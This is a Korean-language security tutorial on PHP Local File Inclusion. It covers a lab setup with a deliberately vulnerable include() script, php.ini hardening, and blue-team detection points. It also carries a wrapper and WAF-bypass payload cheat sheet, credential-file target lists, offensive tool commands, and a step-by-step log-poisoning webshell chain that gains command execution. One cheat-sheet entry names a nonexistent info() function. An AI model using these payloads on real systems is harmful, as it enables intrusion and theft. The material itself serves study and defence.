
💡 LFI (Local File Inclusion) 심층 분석 및 웹 인프라 보안 실무 가이드 (Master Spec)
📌 핵심 요약 (TL;DR)
- 본질: 웹 애플리케이션(주로 PHP)이 외부 사용자 입력값을 검증 없이
include(),require()등의 파일 참조 함수에 동적으로 전달할 때 발생하는 서버 측(Server-Side) 핵심 취약점임.- 위협 및 목적: 단순한 경로 탐색(Directory Traversal)을 넘어, 해커가 서버 내부의 민감한 파일(
/etc/passwd,C:\Windows\win.ini, 설정 파일 소스코드)을 읽어내고, 최종적으로 로그 포이즈닝(Log Poisoning)이나 세션 오염을 통해 원격 코드 실행(RCE)으로 시스템 권한을 찬탈하는 브릿지 벡터로 악용됨.- 대응 방안: 사용자 입력값을 절대 직접 파일 경로로 사용하지 말고 화이트리스트(Whitelist) 기반의 매핑 로직을 구현해야 하며,
php.ini에서open_basedir샌드박싱과disable_functions커맨드 차단을 강제 인포싱해야 함.
📑 목차 (Table of Contents)
⚠️ 면책 조항 (Disclaimer)
본 포스팅의 보안/해킹 관련 실습은 허가된 통제 환경(개인 VM 및 합법적 모의해킹 계약 범위)에서만 수행됨.
허가되지 않은 타인의 시스템에 대한 무단 접근 및 페이로드 주입 시도는 「정보통신망 이용촉진 및 정보보호 등에 관한 법률」 제48조 위반으로 형사처벌 대상임.
모든 분석은 벤더사 공식 레퍼런스 및 NVD 공인 데이터를 기반으로 작성됨.📖 학습 목적: 보안 취약점의 동작 원리를 이해하고 방어 전략을 수립하기 위한 학습 및 지식 공유 목적임. 모든 실습은 허가된 통제 환경에서만 진행함.
자주 등장하는 용어 (초보자 참고)
| 약어 | 전체 명칭 | 한 줄 설명 |
|---|---|---|
LFI |
Local File Inclusion | 서버 내부에 이미 존재하는 로컬 파일을 사용자의 조작된 경로 입력값을 통해 강제로 실행 및 렌더링하는 취약점임 |
RFI |
Remote File Inclusion | LFI와 유사하나, 공격자의 외부 C2 서버에 있는 악성 스크립트를 타겟 서버가 다운로드하여 실행하게 만드는 더 치명적인 기법임 |
Directory Traversal |
경로 탐색 | ../ (Dot-Dot-Slash) 시퀀스를 사용하여 웹 루트 디렉터리를 벗어나 상위 OS 파일 시스템으로 역주행하는 기법임 |
Wrapper |
PHP Wrapper | URL 스타일의 프로토콜 체계를 사용하여 다양한 스트림(I/O, 압축, 필터) 데이터에 접근할 수 있게 해주는 PHP 코어 인터페이스임 |
Log Poisoning |
로그 오염 | 웹 서버 로그(access.log)나 SSH 로그에 악성 PHP 코드를 남긴 뒤, LFI로 해당 로그 파일을 인클루드하여 코드를 실행(RCE)하는 기법임 |
Session Poisoning |
세션 오염 | 쿠키(PHPSESSID) 값을 조작하여 악성 코드를 서버 물리 세션 파일에 저장한 후 이를 LFI로 호출하는 인 메모리/파일 혼합 공격임 |
Environ |
/proc/self/environ | 현재 실행 중인 프로세스의 환경 변수를 담은 가상 파일로, User-Agent를 통해 악성 코드를 밀어넣어 RCE를 유발하는 주요 타겟임 |
open_basedir |
- | PHP 스크립트가 접근할 수 있는 파일 시스템 경로를 특정 디렉터리로 엄격하게 제한하는 강력한 보안 샌드박스 설정임 |
1. 🏗️ 아키텍처 및 랩(Lab) 토폴로지
- 난이도: 고급
- 주제 분류: 웹 애플리케이션 취약점 / L7 익스플로잇 / 모의해킹
- 핵심 키워드:
#LFI#RCE#LogPoisoning#PHP_Wrapper#웹해킹 - 사전 지식: PHP 파일 인클루드 아키텍처, Linux/Windows 파일 시스템, HTTP 헤더 조작, L7 라우팅 구조
(💡 모바일 환경에서는 표를 좌우로 스크롤하여 상세 내용을 확인 권장함.)
| 구분 | OS / 플랫폼 (버전 필수) | 컨테이너 / 네트워크 환경 | IP 대역 | 인프라 내 역할 |
|---|---|---|---|---|
| 공격 (Red) | Kali Linux 2026.x | 네이티브 모의 공격망 | 10.0.0.50/24 |
Burp Suite, ffuf, LFISuite를 활용하여 경로 탐색 페이로드를 사출하고 RCE 쉘을 확보하는 노드임 |
| 타겟 (Target) | Ubuntu 24.04 / Nginx / PHP-FPM 8.x | 온프레미스 웹 서버망 | 10.0.0.100/24 |
?page=user 형태로 뷰를 렌더링하는 구조적 결함을 가진 취약한 PHP 웹 서비스 서버임 |
| 방어 (Blue) | Graylog 5.x / ModSecurity | 온프레미스 망분리 WAF | 10.0.0.200/24 |
LFI 시그니처(../, php://)를 WAF에서 차단하고 엑세스 로그 내 오염 시도를 중앙 관제함 |
아키텍처 통신 흐름도 (LFI to RCE 킬체인 워크플로우)
[공격자 / Attacker : 10.0.0.50] [타겟 서버 PHP : 10.0.0.100]
| |
|-- (1) 정찰: URL 파라미터(?page=) 식별 및 LFI 취약점 검증 ->|
|<- (2) 응답: /etc/passwd 내용 반환 (LFI 확증) --------|
| |
|-- (3) 오염: User-Agent에 PHP 웹쉘 코드 담아 HTTP 요청 ->|
|<- (4) 파싱: Nginx access.log에 악성 PHP 코드가 평문 기록됨 -|
| |
|-- (5) 실행: LFI를 통해 access.log 파일 경로를 include() 함 ->|
|<- (6) 장악: 로그 안의 PHP 코드가 서버에서 실행되어 RCE 달성 -|
2. 🧠 핵심 개념 및 기술적 정의
2-1. 상세 정의 및 동작 메커니즘
- 정의: 애플리케이션 코드가 외부 입력값을 검증 파이프라인 없이 서버 측 파일 시스템 API(
include,require,fopen,file_get_contents)의 인자(Argument)로 직접 던져넣을 때 발생하는 심각한 논리적 취약점임. - 탄생 배경: 웹 프레임워크가 발전하기 전, 여러 페이지에서 공통으로 사용되는 헤더(Header)나 푸터(Footer)를 동적으로 불러오기 위해 템플릿 엔진 대신
include($_GET['page'])형태의 하드코딩 구조를 남발하면서 발생한 레거시 패러다임의 산물임. - Directory Traversal과의 차이점: Directory Traversal(경로 탐색)은 타겟 파일을 단순히 '읽어오는(Read)' 것에 그치지만, LFI는 대상 파일에 PHP와 같은 실행 코드가 포함되어 있다면 이를 파싱하여 서버 메모리에서 '실행(Execute)'해 버린다는 점에서 권한 탈취(RCE) 파급력이 압도적으로 높음.
- 메커니즘 (코드 레벨 아키텍처):
- 개발자가
<?php include($_GET['file'] . '.php'); ?>로직을 작성함. - 정상 사용자는
?file=about을 보내about.php를 렌더링 받음. - 해커는
?file=php://filter/convert.base64-encode/resource=config를 전송함. - PHP 커널은 확장자 렌더링 제한을 필터 체인으로 우회당하고
config.php소스코드를 Base64로 인코딩하여 화면에 덤프(유출)함.
- 개발자가
2-2. MITRE ATT&CK & Kill Chain 매핑
| Kill Chain Phase | MITRE Tactic (전술) | Technique (기법) | ID |
|---|---|---|---|
| Reconnaissance | Discovery | File and Directory Discovery | T1083 |
| Exploitation | Initial Access | Exploit Public-Facing Application (LFI) | T1190 |
| Exploitation | Execution | Command and Scripting Interpreter | T1059 |
| Exploitation | Defense Evasion | Indicator Removal on Host (Log Tampering) | T1070.002 |
| Actions on Objectives | Credential Access | Credentials from Password Stores (/etc/shadow) |
T1555 |
3. ⚙️ 주요 특징 및 통신 규격 (전수 명세)
3-1. 기술적 핵심 특징 (8대 요소)
특징 1 — PHP Wrapper 확장성: LFI는 단순 파일 경로를 넘어, PHP 코어가 제공하는 강력한 내장 스트림 래퍼(php://,data://,expect://)를 호출하여 프로토콜 단위의 페이로드 변환 및 실행을 유도함.특징 2 — 코드 실행(RCE)의 교두보: 서버 내부에 업로드된 이미지 파일(웹쉘이 은닉된 JPG), 세션 파일(/var/lib/php/sessions/), 또는 시스템 로그 파일에 코드를 주입하고 이를 LFI로 호출하여 100% RCE로 에스컬레이션(Escalation)함.특징 3 — 필터 회피 메커니즘: 개발자가../문자열을str_replace()로 공백 치환하더라도,....//이나%2e%2e%2f(URL 인코딩) 기법을 통해 WAF 및 필터링 정규식을 우회하는 다형성(Polymorphism)을 지님.특징 4 — 소스코드 평문 탈취: PHP 파일은 웹 서버에서 실행된 결과(HTML)만 반환하지만,php://filter/read=convert.base64-encode래퍼를 사용하면 서버 측 로직이 담긴 원본 DB 연결 패스워드 등을 Base64 문자열로 고스란히 탈취함.특징 5 — Null Byte (%00) 절단: PHP 5.3.4 이전 레거시 환경에서는 입력값 뒤에 억지로 붙는 확장자(.php)를 무력화하기 위해 문자열 끝을 알리는 널 바이트를 인젝션하여 원하는 파일 확장자로 강제 매핑함.특징 6 — 멀티 플랫폼 타겟팅: 리눅스 환경의/etc/passwd뿐만 아니라, Windows IIS/Apache 환경에서도..\..\Windows\win.ini와 같은 역슬래시 백트래킹을 통해 OS 종속성 없이 인프라를 관통함.특징 7 — 환경 변수 및 세션 포이즈닝:/proc/self/environ가상 파일이나 사용자 쿠키에 연동된/var/lib/php/sessions/sess_XXX파일을 오염시켜, 파일 업로드 기능이 없어도 웹쉘을 꽂아 넣음.특징 8 — Phar (PHP Archive) 역직렬화:phar://래퍼를 악용하면 단순히 파일을 포함하는 것을 넘어, PHP Object Injection(역직렬화 취약점) 트리거로 연계하여 객체 지향 수준의 심층 침해를 달성함.
3-2. 실무 관점 장단점 (Pros & Cons 전수 명세)
| 구분 | 시스템 관점 특성 | 보안 및 실무 관점의 트레이드오프 |
|---|---|---|
| 장점 1 | 모듈화된 뷰(View) 관리 | 레거시 환경에서 헤더, 푸터, 네비게이션 바를 모듈화하여 include() 하나로 수천 개 페이지의 UI를 일괄 업데이트함 |
| 장점 2 | 동적 라우팅 편의성 | Front Controller 패턴 없이 index.php?page=view 형태로 직관적인 L7 라우팅 구조를 짤 수 있음 |
| 장점 3 | PHP 네이티브 지원 | 별도의 라우팅 라이브러리나 템플릿 엔진(Twig, Blade)을 설치할 필요 없이 순수 PHP 코어 함수만으로 동작함 |
| 단점 1 | 원격 코드 실행(RCE) 직행 | 웹 취약점 중에서도 시스템 쉘을 직접 따낼 수 있는 가장 파괴적인 Critical (CVSS 9.8) 결함임 |
| 단점 2 | 블랙리스트 필터링의 무용지물 | ../를 막으면 ..././로 우회하고, .php를 막으면 zip:// 래퍼로 우회하는 등 필터 체인 회피 기법이 무한에 가까움 |
| 단점 3 | 시스템 아키텍처 정보 노출 | /etc/passwd뿐만 아니라 Nginx 환경 설정 파일, 커널 버전을 덤프하여 후속 익스플로잇의 정밀 지도를 그림 |
| 단점 4 | 서드파티 로그와의 치명적 연계 | 웹 로그뿐만 아니라 FTP 로그, SSH Auth 로그 등 시스템 내 '해커가 입력할 수 있는 모든 텍스트 영역'이 RCE 트리거 지뢰로 돌변함 |
| 단점 5 | 권한 격리(Chroot) 부재 시 파국 | open_basedir 설정이 없으면 아파치 프로세스 권한(www-data)으로 서버의 최상위 루트 디렉터리(/) 전체가 관통당함 |
4. 🛠️ 인프라 셋업 및 구축 명세
4-1. 사전 요구 사항 (Dependencies)
- 공격/클라이언트 환경: Kali Linux, Burp Suite Professional/Community
- 타겟 서버 환경: Ubuntu 24.04 LTS, Nginx, PHP-FPM (취약한 소스코드 포함)
- 네트워크 룰셋: 공격자와 타겟 간 80 포트 오픈.
4-2. 시스템 구축 및 보안 하드닝 (취약한 환경 및 패치 Step-by-Step)
# [Step 1: Nginx 및 PHP-FPM 런타임 환경 패키지 인스톨]
sudo apt update && sudo apt install -y nginx php-fpm
# [Step 2: LFI 취약점을 가진 레거시 PHP 애플리케이션 생성]
sudo mkdir -p /var/www/html/vulnerable
sudo bash -c 'cat <<EOF > /var/www/html/vulnerable/index.php
<?php
session_start();
$file = $_GET["page"];
// [⚠️ 치명적 취약점] 외부 입력값에 대해 어떤 샌드박싱이나 화이트리스트 검증도 수행하지 않음
if(isset($file)) {
include($file);
} else {
echo "Welcome. Please specify a ?page parameter.";
}
?>
EOF'
# [Step 3: Nginx Server Block 라우팅 설정]
sudo bash -c 'cat <<EOF > /etc/nginx/sites-available/lfi_lab
server {
listen 80;
root /var/www/html/vulnerable;
index index.php;
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/var/run/php/php8.3-fpm.sock;
}
}
EOF'
sudo ln -s /etc/nginx/sites-available/lfi_lab /etc/nginx/sites-enabled/
sudo systemctl reload nginx
# [Step 4: 방어자 관점의 PHP Hardening (php.ini 튜닝 조치)]
# 해커가 RFI 및 필터 래퍼를 쓰지 못하도록 커널 수준의 옵션을 셧다운해야 함
sudo sed -i 's/allow_url_include = On/allow_url_include = Off/g' /etc/php/8.3/fpm/php.ini
# 웹 루트 외부(예: /etc)로의 경로 탐색을 물리적으로 격리(Chroot)함
sudo sed -i 's/;open_basedir =/open_basedir = \/var\/www\/html\//g' /etc/php/8.3/fpm/php.ini
# 시스템 탈취를 막기 위해 위험한 OS 커맨드 실행 함수들을 원천 무력화함
sudo sed -i 's/disable_functions =/disable_functions = system,exec,shell_exec,passthru,popen,proc_open/g' /etc/php/8.3/fpm/php.ini
sudo systemctl restart php8.3-fpm
5. 📖 상세 명세 (PHP Wrapper 및 페이로드 전수 목록)
5-1. 핵심 PHP Wrapper 명세 (Exploit Vector)
(LFI 취약점이 식별되었을 때, 공격자가 런타임 통제권을 장악하기 위해 사용하는 특수 스트림 프로토콜 체인 전수 명세임.)
| Wrapper 프로토콜 | 동작 원리 및 익스플로잇 목적 설명 | 완전한 LFI 페이로드 사용 예시 |
|---|---|---|
php://filter |
파일의 내용을 포함(Include)하기 전에 인코딩/디코딩 필터를 거치게 하여, 서버에서 코드가 실행되는 것을 막고 소스코드를 평문 덤프(유출)시킴 | ?page=php://filter/read=convert.base64-encode/resource=db_config.php |
php://input |
POST 요청 바디(Body)에 담긴 원시 데이터를 실시간으로 읽어들여 런타임에 인클루드 실행함 (단, allow_url_include=On 필수) |
?page=php://input (POST 바디: <?php system("id"); ?>) |
data:// |
외부 파일 참조 없이, URI 자체에 Base64로 인코딩된 PHP 웹쉘 코드를 때려 박아 인 메모리(In-memory) RCE를 즉각 유발함 | ?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+&cmd=id |
expect:// |
문자열을 운영체제(OS) 쉘 커맨드로 직접 실행하고 출력을 반환하는 가장 치명적인 래퍼임 (PECL 모듈 설치 환경에서만 동작) | ?page=expect://ls -la |
zip:// |
사용자가 업로드한 압축 파일(Zip) 내부의 특정 파일을 절대 경로로 지정하여 인클루드 압축 해제 및 실행함 (#를 %23으로 인코딩) |
?page=zip:///var/www/uploads/shell.zip%23shell.php |
phar:// |
확장자를 속여 업로드한 이미지 파일(실제론 phar 아카이브)을 객체 역직렬화 메커니즘으로 로딩하여 POP Chain RCE를 사출함 | ?page=phar:///var/www/uploads/avatar.jpg/shell |
dict:// |
DICT 프로토콜을 이용해 특정 포트로 임의의 문자열을 쏘아 내부망 SSRF 포트 스캐닝에 결합 악용함 | ?page=dict://127.0.0.1:6379/info |
5-2. LFI 타겟팅 핵심 파일 딕셔너리 (OS별 페이로드 명세)
(공격자가 경로 탐색을 성공한 후, 실질적으로 읽어내거나 오염시키기 위해 찔러보는 타겟 파일 목록임.)
Linux 시스템 주요 타겟
| 타겟 파일 경로 | 탈취 목적 및 익스플로잇 연계 방법 |
|---|---|
/etc/passwd |
리눅스 계정 목록을 확인하고, LFI가 실제로 동작하는지 검증하는 가장 기본적인 PoC 타겟임 |
/etc/shadow |
root 권한으로 웹 데몬이 돌고 있을 경우, 해시된 비밀번호를 탈취하여 오프라인 크래킹(John the Ripper)을 시도함 |
/proc/self/environ |
현재 프로세스의 환경 변수 덤프. 공격자가 User-Agent에 악성 쉘코드를 넣고 이 파일을 인클루드하여 RCE를 터뜨림 |
/proc/self/cmdline |
실행 중인 웹 서버 프로세스의 커맨드라인 아규먼트를 덤프하여 데몬 시작 파라미터를 스니핑함 |
/var/log/nginx/access.log |
Nginx 웹 로그 파일. User-Agent 포이즈닝 후 호출하여 Log Poisoning RCE를 달성하는 핵심 숙주임 |
/var/lib/php/sessions/sess_* |
PHP 세션이 저장되는 물리적 텍스트 파일. Session Poisoning 기법을 통해 내부의 악성 코드를 실행시킴 |
Windows 시스템 주요 타겟
| 타겟 파일 경로 | 탈취 목적 및 익스플로잇 연계 방법 |
|---|---|
C:\Windows\win.ini |
Windows 환경에서 LFI 경로 탐색이 성공했는지 입증하기 위한 기본 PoC 타겟 파일임 (boot.ini 등도 사용됨) |
C:\Windows\System32\drivers\etc\hosts |
내부망 호스트네임 매핑 정보를 탈취하여 2차 SSRF 타격의 정찰 맵으로 활용함 |
C:\xampp\apache\logs\access.log |
XAMPP 환경에서 기본으로 쌓이는 아파치 로그 파일로, 윈도우 환경 Log Poisoning의 핵심 타겟임 |
5-3. LFI 필터 및 WAF 우회(Bypass) 제어 플래그 명세
| 우회 플래그 / 기법 | 동작 원리 및 공식 문서 기반 설명 | 실전 페이로드 예시 |
|---|---|---|
| Path Truncation (경로 절단) | 커널 API가 처리할 수 있는 최대 파일 경로 길이(예: 4096바이트)를 초과하도록 /. 기호를 무한 반복하여 뒤에 붙는 확장자를 강제 절삭함 |
?page=../../../etc/passwd/././././[반복]..././ |
Null Byte Injection (%00) |
PHP 5.3.4 이전 버전에서 문자열 처리가 C언어 \0 로직을 따르는 맹점을 악용, %00을 주입하여 뒤쪽 코드를 무시함 |
?page=../../../etc/passwd%00 |
| Double URL Encoding | WAF가 %2e%2e%2f (../)를 1차 디코딩하여 차단할 때, 이를 두 번 인코딩(%252e%252e%252f)하여 방화벽 파서를 기만 통과함 |
?page=%252e%252e%252fetc%252fpasswd |
| 16-bit Unicode Encoding | 비표준 유니코드 형식으로 ../를 인코딩하여 허술한 정규식(Regex) 필터망을 회피함 |
?page=..%c0%af..%c0%afetc/passwd |
| Filter Strip Bypass | 개발자가 str_replace('../', '', $input)로 필터를 짰을 때, 교묘하게 겹쳐 적어 치환 후 정상적인 ../가 되도록 붕괴시킴 |
?page=....//....//etc/passwd |
| Base64 Nested Filters | php://filter 체인에 불필요한 인코딩/디코딩 과정을 여러 번 중첩하여 IPS(침입 방지 시스템)의 시그니처 딥 인스펙션을 회피함 |
?page=php://filter/read=string.rot13/convert.base64-encode/resource=index.php |
5-4. 비대화형 정찰 및 익스플로잇 도구 (Offensive Tooling)
| 명령어 (Tool) | 파싱 메커니즘 및 런타임 결과 | 완전한 실전 사용 예시 |
|---|---|---|
LFISuite |
Python 기반의 자동화 프레임워크로, 수천 개의 LFI 페이로드 및 필터 우회 패턴을 스캐닝하고 리버스 쉘 사출까지 일괄 폭격함 | python lfisuite.py -u "http://10.0.0.100/?page=" |
ffuf |
극강의 속도를 자랑하는 Go 기반 퍼저로, LFI 딕셔너리(SecLists)를 활용하여 /etc/passwd 문자열 렌더링 응답을 매칭 발굴함 |
ffuf -w lfi_payloads.txt -u "http://10.0.0.100/?page=FUZZ" -mr "root:x:0:0" |
Kadimus |
LFI 전문 익스플로잇 툴로, SSH / Apache 로그 포이즈닝 모듈을 내장하여 단일 클릭으로 RCE 쉘을 반환함 | kadimus -u "http://10.0.0.100/?page=" -O ssh_poisoning |
5-5. 프로토콜 응답 상태 코드 (LFI 관점의 HTTP 에러 및 워닝 전수 명세)
(공격자가 LFI 페이로드를 던졌을 때 서버가 응답하는 상태 코드와 에러 텍스트의 보안적 지표임.)
| 상태 코드 (HTTP Code) / PHP Error | 응답 사유 및 통신 양상 | 보안 방어 관점의 탐지 및 에러 해결 의미 |
|---|---|---|
200 OK (단, 레이아웃 깨짐) |
타겟 파일(예: /etc/passwd)이 성공적으로 include 되어 정상 페이지 레이아웃 상단이나 하단에 데이터가 노출됨 |
공격이 100% 성공한 치명적 상태로, 민감 정보 유출 및 RCE가 임박했음을 시사함 |
Warning: include(...): failed to open stream |
대상 파일이나 경로가 물리적으로 존재하지 않아 PHP 커널에서 경고 메시지를 덤프함 | 서버의 로컬 절대 경로(Full Path Disclosure)가 에러 텍스트에 노출되어 해커에게 정찰 지도를 제공해버림 |
Fatal error: require(): Failed opening required |
include()가 아닌 require() 함수가 쓰였으며, 파일을 찾지 못해 애플리케이션 스크립트 실행이 완전히 중지됨 |
취약점은 존재하나 타겟 파일 딕셔너리 퍼징이 실패하고 있음을 나타내는 헌팅 지표임 |
403 Forbidden / open_basedir restriction in effect |
PHP 커널 보안 샌드박스 설정(open_basedir)이 작동하여, 지정된 웹 루트 경로를 벗어나려는 ../ 시도를 물리적으로 차단함 |
방어 아키텍처가 정상 가동 중이며, 공격자는 이를 뚫기 위해 VHost나 심볼릭 링크(Symlink) 맹점을 찾아 선회할 것임 |
URL file-access is disabled in the server configuration |
해커가 http://evil.com/shell.txt (RFI)를 인클루드 하려 했으나 allow_url_include=Off 세팅에 의해 커널 블락됨 |
RFI 공격은 원천 차단되었으나, 로컬 파일(LFI) 취약점은 여전히 남아 로그 포이즈닝으로 선회 타격할 여지가 있음 |
5-6. DFIR: 로그 및 트래픽 탐지 포인트 (블루팀 헌팅 지표)
- 경로 탐색 횡단 헌팅: Nginx
access.log— URI 파라미터 필드(?page=)에 반복적인../(점점슬래시) 시퀀스나%2e%2e%2f인코딩 문자열이 초당 수십 건 기록되는지 SIEM 정규식으로 코릴레이션(Correlation) 분석함. - Log Poisoning RCE 탐지:
/var/log/auth.log(SSH 인증 로그) — SSH 포트(22)로 로그인 시도 시User필드에 시스템 계정명 대신<?php system($_GET['cmd']); ?>와 같은 악성 쉘코드가 평문 스크래핑되어 쌓여 있는지 무결성 검증함. - PHP Wrapper 비정상 호출: WAF (ModSecurity) 알람 — L7 페이로드의 쿼리 스트링에
php://filter,php://input,data://등 합법적 유저가 절대 호출하지 않는 개발자 레벨의 래퍼 프로토콜이 주입되는 즉시Drop조치함.
원시 로그(Raw Log) 및 패킷 캡처 덤프
# [File: /var/log/nginx/access.log — SIEM 인입 원시 로그 (LFI 퍼징 및 로그 포이즈닝 헌팅 흔적)]
10.0.0.50 - - [11/May/2026:23:45:10 +0900] "GET /index.php?page=../../../../../etc/passwd HTTP/1.1" 200 1024 "-" "BurpSuite"
10.0.0.50 - - [11/May/2026:23:46:15 +0900] "GET /index.php HTTP/1.1" 200 500 "-" "<?php system('id'); ?>" # [💡 User-Agent 로그 오염 흔적]
# [File: Suricata NIDS Alert — PHP Wrapper(Filter) 데이터 유출 시도 탐지]
05/11/2026-23:46:10.123 [**] [1:2010939:3] ET WEB_SERVER Suspicious PHP Filter Wrapper Use (convert.base64) [**] {TCP} 10.0.0.50:54321 -> 10.0.0.100:80
6. 🚀 핵심 페이로드 치트시트 (Cheat Sheet)
| 페이로드 (One-Liner) | 파싱 메커니즘 및 런타임 결과 | 목적 / 우회 기법 |
|---|---|---|
?page=../../../../../../etc/passwd |
리눅스 최상위 디렉터리(/)까지 뚫고 올라가 로컬 유저 계정 정보를 화면에 무단 렌더링함 |
타겟 시스템의 LFI 취약점 존재 여부를 가장 빠르고 명확하게 검증하는 PoC 표준 사격임 |
?page=..\..\..\..\..\..\Windows\win.ini |
Windows 시스템의 최상위 드라이브(C:\)까지 뚫고 올라가 시스템 초기화 설정 파일을 화면에 무단 렌더링함 |
IIS 서버 기반 환경에서 LFI 취약점을 증명하기 위한 윈도우 전용 경로 횡단 타격임 |
?page=php://filter/read=convert.base64-encode/resource=config.php |
서버가 config.php를 파싱하여 실행하기 직전에 Base64로 묶어버려 HTML 응답에 난독화 평문으로 덤프시킴 |
DB 자격증명(ID/PW)이나 클라우드 API Key가 하드코딩된 서버 설정 파일을 디코딩 탈취할 때 씀 |
?page=data://text/plain;base64,PD9waHAgaW5mbygpOyA/Pg== |
서버 디스크에 파일을 쓰지 않고 Base64로 인코딩된 <?php info(); ?> 코드를 메모리에서 즉각 실행함 |
파일 업로드 우회나 WAF 파일 검사를 무력화하고 인메모리 런타임 권한을 찬탈할 때 씀 |
?page=expect://id |
PHP expect 모듈의 커맨드 사출 기능을 트리거하여 id 명령어를 운영체제 쉘(Bash)에 직접 던져 반환받음 |
중간 단계(웹쉘, 로그 포이즈닝)를 전부 생략하고 최단 루트로 커널 OS 쉘(RCE)을 탈취할 때 씀 |
7. 🎯 심층 킬체인 워크플로우 (Deep Dive)
7-1. 취약점 식별 (CVE / CWE 전수 명세)
| 식별 코드 | 취약점 명칭 및 익스플로잇 원리 | CVSS v3.1 | 파급력 (Impact) | 대응/패치 |
|---|---|---|---|---|
CWE-98 |
Improper Control of Filename for Include/Require Statement in PHP — 외부 사용자가 입력한 데이터 검증 없이 PHP 파일 인클루드 함수를 동적으로 호출하여 서버 내부 로직이 관통당하는 LFI/RFI 구조적 결함임 | 8.1 ~ 9.8 |
소스코드 및 중요 환경 변수 평문 유출은 기본이며, 로그 포이즈닝을 연계할 경우 100% 서버 시스템 장악(RCE)으로 에스컬레이션됨 | 사용자 입력값을 파일 경로로 맵핑하는 딕셔너리 화이트리스트(switch 문 등)를 하드코딩하고, allow_url_include를 셧다운함 |
CWE-22 |
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') — ../ 시퀀스 필터링 부재로 인해, 지정된 웹 루트를 벗어나 시스템 커널의 최상위 트리(/etc, /var/log)까지 거침없이 탐색하는 근본 원인임 |
7.5 (High) |
해커가 access.log나 SSH Auth 로그의 절대 경로를 찾아내어 악성 페이로드(PHP 태그)를 렌더링시킬 표적 좌표를 획득함 |
Nginx 설정 및 open_basedir를 통해 PHP 프로세스의 파일 시스템 가시거리를 /var/www/html 하위로 영구 격리(Chroot)함 |
CVE-2018-19518 |
PHP imap_open() RCE via LFI — PHP의 IMAP 확장이 사용자 입력값을 OS 쉘 커맨드로 전달할 때 우회 필터링이 누락되어, LFI를 통해 imap 함수 호출 부를 자극하면 RCE가 터지는 CVE임 | 9.8 (Critical) |
단순 LFI 취약점이 로그 오염 없이도 서버 내부 컴포넌트(IMAP) 결함과 연계되어 단 한 번의 요청으로 쉘을 뽑아냄 | PHP 버전을 최신으로 올리고 시스템 패키지에서 IMAP 확장을 커널 모듈 단위에서 영구 삭제함 |
Vulnerability Deep Dive #1: LFI to Log Poisoning RCE
- 연관 식별자:
CWE-98/MITRE T1059 - 발생 원인 (Root Cause): 서버는 접속자의
User-Agent나Referer헤더를 검증 없이 웹 서버 액세스 로그(access.log)나 에러 로그(error.log) 파일에 문자열 그대로 기록(Write)함. 만약 해커가 헤더 값에 PHP 실행 태그(<?php ... ?>)를 담아 보내면 로그 파일 내부에 악성 코드가 각인됨. 이후 LFI 취약점을 통해 해당 로그 파일의 절대 경로(/var/log/nginx/access.log)를include()시켜버리면, PHP 엔진은 로그 파일 전체를 텍스트가 아닌 'PHP 스크립트'로 파싱하여 내부의 악성 코드를 커널 메모리에서 실행(RCE)해 버림. - 공격 성립 조건: 1) 타겟에 LFI 취약점(
include())이 존재해야 함. 2) 웹 서버 로그 파일의 절대 경로를 해커가 알아야 함. 3) 웹 데몬 권한(www-data)이 해당 로그 파일을 읽을 수 있는 권한(Read Permission)이 부여되어 있어야 함. - 파급력 (Impact): 파일 업로드 게시판이나 취약한 플러그인이 전혀 없어도, 순수 HTTP 트래픽 하나만으로 타겟 시스템을 완벽하게 해킹(RCE)하여 웹쉘(Web Shell) 백도어를 박아버리는 극단적 파괴력을 지님.
7-2. 킬체인 전개 스텝 분석
- 난이도: 중급 (L7 페이로드 조작 및 LFI 에스컬레이션 메커니즘 이해 요구)
- 전제: 타겟 망분리 웹 서버(10.0.0.100)는 LFI 취약한
index.php?page=라우터를 노출 중이며, 공격자는 Burp Suite 프록시를 통해 헤더를 100% 통제 가능한 상태임. - 탐지 가능성:
Medium(단순../정찰은 WAF에 잡히기 쉬우나,User-Agent로그 오염 및 인클루드는 SIEM 룰셋이 촘촘하지 않으면 합법적 트래픽으로 패싱됨).
Phase 1 — LFI 취약점 검증 및 경로 정찰 (Reconnaissance)
📖 Phase 1에서 배우는 것: 입력 파라미터가 파일 시스템을 직접 참조하는지 식별하고, 디렉터리 횡단(
../) 시퀀스로 서버의 로컬 패스워드 파일을 찔러 취약점을 100% 확증함.
# 1. 공격자가 타겟 서버 URL의 취약한 파라미터에 딥 트래버설 페이로드를 사출함
GET /index.php?page=../../../../../../etc/passwd HTTP/1.1
Host: 10.0.0.100
# 2. 결과 분석: 응답 바디(Body)에 root:x:0:0:root:/root:/bin/bash 문자열이 덤프되면 LFI 취약점이 공식적으로 터진 것임.
Phase 2 — Log Poisoning (User-Agent 변조 쉘코드 삽입)
📖 Phase 2에서 배우는 것: 단순 정보 유출을 넘어 RCE를 획득하기 위해, Burp Suite 프록시로 HTTP 패킷을 낚아채어 서버의
access.log파일 내부에 1줄짜리 웹쉘 코드를 물리적으로 심어 넣음.
# 1. Burp Repeater를 이용해 정상적인 요청을 날리되, User-Agent 필드에 악성 PHP 코드를 하드코딩하여 쏨
GET / HTTP/1.1
Host: 10.0.0.100
User-Agent: <?php system($_GET['cmd']); ?>
# 2. 동작 검증: 서버의 Nginx 로깅 로직은 이 헤더를 문자열로 취급하여 `/var/log/nginx/access.log` 파일의 최하단에 [<?php system($_GET['cmd']); ?>] 텍스트를 고스란히 각인(Write)시킴.
Phase 3 — LFI 기반 로그 호출 및 쉘 권한 획득 (Post-Exploitation)
📖 Phase 3에서 배우는 것: 악성 코드가 각인된 액세스 로그 파일을 LFI 취약점을 통해 강제 인클루드(
include())시켜 PHP 파서가 이를 실행하게 만들고, 커널 OS 명령(cmd)을 획득함.
# 1. 취약한 page 파라미터에 오염된 로그 파일 절대 경로를 던지고, 웹쉘 제어 파라미터(&cmd=id)를 연계 사출함
curl "[http://10.0.0.100/index.php?page=../../../../../var/log/nginx/access.log&cmd=whoami](http://10.0.0.100/index.php?page=../../../../../var/log/nginx/access.log&cmd=whoami)"
# 2. 결과 검증: 웹 브라우저에 로그 파일의 지저분한 텍스트들이 쏟아지는 와중에, 우리가 심은 PHP 태그 부분이 해석되어 OS 쉘 출력값인 `www-data` 권한 명세가 렌더링 반환됨 (RCE 달성 완수).
8. ⚔️ 실전 심화 시나리오 — 학습용 실습 (Lab Scenarios)
📘 Scenario A: PHP Session Poisoning을 악용한 RCE 에스컬레이션
